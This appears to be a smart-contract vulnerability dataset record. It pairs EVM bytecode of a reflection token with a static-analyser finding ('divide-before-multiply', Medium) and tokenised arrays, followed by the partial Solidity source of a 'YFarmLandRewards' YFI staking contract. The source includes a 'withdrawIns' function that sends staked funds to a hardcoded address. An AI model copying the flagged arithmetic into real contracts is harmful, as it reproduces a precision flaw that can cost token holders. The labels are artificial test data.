0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806132946025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061318d6023913960400191505060405180910390fd5b60008111611f34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061326b6029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611fd75750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fec57611fe783838361240d565b612223565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561208f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120a45761209f838383612660565b612222565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121485750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561215d576121588383836128b3565b612221565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121ff5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122145761220f838383612a71565b612220565b61221f8383836128b3565b5b5b5b5b505050565b60008383111582906122d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561229a57808201518184015260208101905061227f565b50505050905090810190601f1680156122c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006122f5612d59565b9150915061230c818361231390919063ffffffff16565b9250505090565b600061235583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613006565b905092915050565b6000806000612389600261237b60648761231390919063ffffffff16565b6130cc90919063ffffffff16565b905060006123a08286611b0690919063ffffffff16565b90508082935093505050915091565b6000806000806123c885886130cc90919063ffffffff16565b905060006123df86886130cc90919063ffffffff16565b905060006123f68284611b0690919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061241e86611aae565b9450945094509450945061247a86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a484600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f18382613152565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061267186611aae565b945094509450945094506126cd85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276282600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f784600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128448382613152565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006128c486611aae565b9450945094509450945061292085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129b584600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a028382613152565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612a8286611aae565b94509450945094509450612ade86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7385600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0882600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9d84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cea8382613152565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060006006549050600068056bc75e2d63100000905060005b600580549050811015612fbb57826001600060058481548110612d9357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612e7a5750816002600060058481548110612e1257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612e985760065468056bc75e2d6310000094509450505050613002565b612f216001600060058481548110612eac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b0690919063ffffffff16565b9250612fac6002600060058481548110612f3757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b0690919063ffffffff16565b91508080600101915050612d74565b50612fda68056bc75e2d6310000060065461231390919063ffffffff16565b821015612ff95760065468056bc75e2d63100000935093505050613002565b81819350935050505b9091565b600080831182906130b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561307757808201518184015260208101905061305c565b50505050905090810190601f1680156130a45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130be57fe5b049050809150509392505050565b6000808314156130df576000905061314c565b60008284029050828482816130f057fe5b0414613147576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132226021913960400191505060405180910390fd5b809150505b92915050565b61316782600654611b0690919063ffffffff16565b60068190555061318281600754611b5090919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207dea22ae1d528156a70ee713880af27252b3c9bdfec7be4d952346c235b0beec64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
6305,
2620,
2487,
6305,
2094,
2575,
2683,
2620,
2278,
2546,
2692,
4215,
4783,
2487,
2094,
22407,
16048,
2094,
2620,
21057,
10790,
2581,
2546,
2683,
2497,
2620,
16703,
2497,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
3477,
3085,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
3638,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,572 | 0x955Bb9b1D52E84f42fb712391c78270310751c19 | /*
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ____ ____ | || | _________ | || | __ | || | _______ | || | ____ ____ | || | _________ | || | _______ | |
| | |_ _||_ _| | || | |_ ___ | | || | / \ | || | |_ __ \ | || ||_ \ / _|| || | |_ ___ | | || | |_ __ \ | |
| | \ \ / / | || | | |_ \_| | || | / /\ \ | || | | |__) | | || | | \/ | | || | | |_ \_| | || | | |__) | | |
| | \ \/ / | || | | _| | || | / ____ \ | || | | __ / | || | | |\ /| | | || | | _| _ | || | | __ / | |
| | _| |_ | || | _| |_ | || | _/ / \ \_ | || | _| | \ \_ | || | _| |_\/_| |_ | || | _| |___/ | | || | _| | \ \_ | |
| | |______| | || | |_____| | || ||____| |____|| || | |____| |___| | || ||_____||_____|| || | |_________| | || | |____| |___| | |
| | | || | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IRewardDistributionRecipient.sol
pragma solidity ^0.5.0;
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
// File: contracts/CurveRewards.sol
pragma solidity ^0.5.0;
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public yfi = IERC20(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e);
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
yfi.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
yfi.safeTransfer(msg.sender, amount);
}
function withdrawIns(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
yfi.safeTransfer(0x5f3Da22eC9f49b03DAA757F7a08828E8435a3337, amount);
}
}
contract YFarmLandRewards is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public yfarmer = IERC20(0xd27aC9f7b4AEA56d3083CDc341676E138005AeAB); //change this
uint256 public constant DURATION = 7 days;
uint256 public constant lockup = 14 days;
uint256 public initreward = 1300*1e18;
uint256 public starttime = 1599656400; //9th of september 2020 9am est
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
mapping(address => uint256) public lasttimestaked;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
